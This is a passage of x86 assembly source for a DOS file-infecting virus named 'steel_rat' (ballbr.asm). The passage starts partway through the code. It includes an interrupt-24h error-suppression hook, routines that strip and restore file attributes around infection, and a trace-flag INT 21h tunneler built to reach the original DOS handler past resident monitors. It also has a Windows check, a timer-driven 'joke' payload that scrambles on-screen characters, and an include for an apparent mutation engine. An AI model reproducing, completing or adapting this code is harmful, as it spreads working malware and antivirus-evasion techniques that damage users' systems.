ax,3524h ; Get old int 24h call dos mov word ptr cs:[old24],bx mov word ptr cs:[old24][2],es push cs pop ds mov ax,2524h mov dx,offset i24 ; Set int 24h call dos if i2Au push di in al,21h or al,00000001b ; Turn off timer out 21h,al cld xor ax,ax mov es,ax mov di,2Ah*4 lds ax,es:[di] ; Get int 2Ah mov word ptr cs:[o2A],ax mov word ptr cs:[o2A][2],ds mov ax,offset i2A ; Set int 2Ah stosw mov ax,cs stosw pop di EndIf pop bx es ax ds dx ret si24 endp i24: mov al,3 i2A: iret o2a dd ? ri24 proc near push ds ax es dx les dx,cs:[old24] ; Restore old int 24h mov ax,2524h call dos If i2Au push di xor ax,ax mov es,ax lds ax,cs:[o2a] ; Restore int 2Ah cld mov di,2Ah*4 stosw mov ax,ds stosw in al,21h and al,11111110b ; Turn timer on out 21h,al pop di EndIf pop dx es ax ds ret ri24 endp savea proc near push ax cx mov cs:[dss],ds ; Store Ds:Dx for attributes mov cs:[dxs],dx ; restore mov ax,4300h ; Get attribs call dos mov cs:[fr],ax mov ax,4301h ; Set attribs If TestVir mov ax,4300h ; If test virus - skip EndIf ; attrib set xor cx,cx call dos pop cx ax ret savea endp resta proc near push ds dx ax cx push cs:[dss] ; Restore attributes pop ds mov dx,cs:[dxs] mov ax,4301h if TestVir mov ax,4300h EndIf mov cx,cs:[fr] call dos pop cx ax dx ds ret resta endp db 'Freedom is the greatest thing in the world !' CheckWin proc pusha mov ax,1600h int 2Fh cmp al,1 jz WinHere cmp al,-1 jz WinHere cmp al,0 jz CWin cmp al,80h jnz WinHere CWin: mov ax,4680h int 2Fh cmp al,80h jz NoWin WinHere:mov cs:[Windoze],1 NoWin: popa ret CheckWin endp ;------------------- i21 Tracer ------------------------------- tunnelit proc near ; Int 21 tunneler push ds es pusha pushf push cs cs pop ds mov ax,offset tunend ; Store offset for return push ax mov ax,3501h ; Get int 1 call dos mov word ptr cs:[o1],bx ; Store it mov word ptr cs:[o1][2],es mov ax,2501h mov dx,offset proggy ; Set it call dos cli pushf pop ax or ax,100h ; Set trace flag push ax sti les ax,cs:[i21] ; Get current int 21 push es push ax mov ax,2501h ; Restore old 1 lds dx,cs:[o1] iret ; Go ! proggy: push bp mov bp,sp cmp word ptr [bp][4],0300h ; Reached MS-Dos segment ? jb Save cmp word ptr [bp][4],0C800h ; Reached high-dos segment ? jb Work Save: push ds push bx lds bx,[bp][2] mov word ptr cs:[r21],bx ; Get offset mov word ptr cs:[r21][2],ds pop bx pop ds mov cs:[f1],1 ; Tunelled ! Stop: and word ptr [bp][6],0FEFFh ; Disable trace CheckOp: push ds si ax lds si,[bp][2] ; Get returning offset dec si lodsb cmp al,09Ch ; Last opcode was pushf ? jne CheckOpz and word ptr [Bp][8],0FEFFh ; Drop trace flag CheckOpz: dec si CheckForPopf: lodsb cmp al,9Dh ; Popf ? jz ItsPopf cmp al,0CFh ; Iret ? jz ItsIret cmp al,2Eh ; Cs ? jz CheckForPopf cmp al,26h ; Es ? jz CheckForPopf cmp al,36h ; SS ? jz CheckForPopf cmp al,0F2h ; Rep ? jz CheckForPopf cmp al,0F3h ; Repne ? jz CheckForPopf cmp al,3Eh ; Ds ? jz CheckForPopf jmp OpOk ; Nothing serious ItsIret: or word ptr ss:[bp][12],100h ; Set trace flag again jmp OpOk ItsPopf: or word ptr ss:[bp][8],100h ; Set trace flag... ;) OpOk: pop ax si ds Work: pop bp iret tunend: inc cs:[TunnelTry] ; Increase number of try's popa pop es ds ret tunnelit endp TunnelTry db ? Joke proc near cmp cs:[joker],TNUM jz Give_em_Joke Time_out: if i28U inc cs:[IntInf] EndIf jmp dword ptr cs:[i8] Give_em_Joke: inc cs:[cnt] cmp cs:[cnt],4 jb Time_Out mov cs:[cnt],0 push es di ax cx mov ax,0B800h mov es,ax xor di,di mov cx,2000 He_he: mov al,es:[di] cmp al,'1' jb NotNum cmp al,'9' ja NotNum dec al jmp SkipChar NotNum: cmp al,'|' jne Check2 mov al,'/' jmp SkipChar Check2: cmp al,'/' jne Check3 mov al,'-' jmp SkipChar Check3: cmp al,'-' jne Check4 mov al,'\' jmp SkipChar Check4: cmp al,'\' jne SkipChar mov al,'|' SkipChar: stosb inc di loop He_He pop cx ax di es jmp Time_Out Joke endp Cnt db 0 Joker db 0 include smm.asm ;-------------------------------------------------------------- Vlen equ offset $ - offset steel_rat SLen equ ( offset $ - offset steel_rat ) / 512 + 1 Flen dw ? RSeed dd ? i21 dd ? ; Different data r21 dd ? i8 dd ? old24 dd ? i2f dd ? o1 dd ? ss_s dw ? sp_s dw ? dss dw ? dxs dw ? fr dw ? f1 db ? allow db ? Include smm.dat ; Different SMM variables temp db 1Ah dup (?) Windoze db ? esize db ? temp2 db 64 dup (?) Dta db 21 dup (?) db ? dw ? dw ? dd ? Fname db 13 dup (?) temp3 db 128 dup (?) Sta: NeededVlen equ (offset $ - offset steel_rat+1524)/8 Kbmem equ (offset $ - offset steel_rat+1524)/1024*2 free: end steel_rat ===== end ballbr.asm =====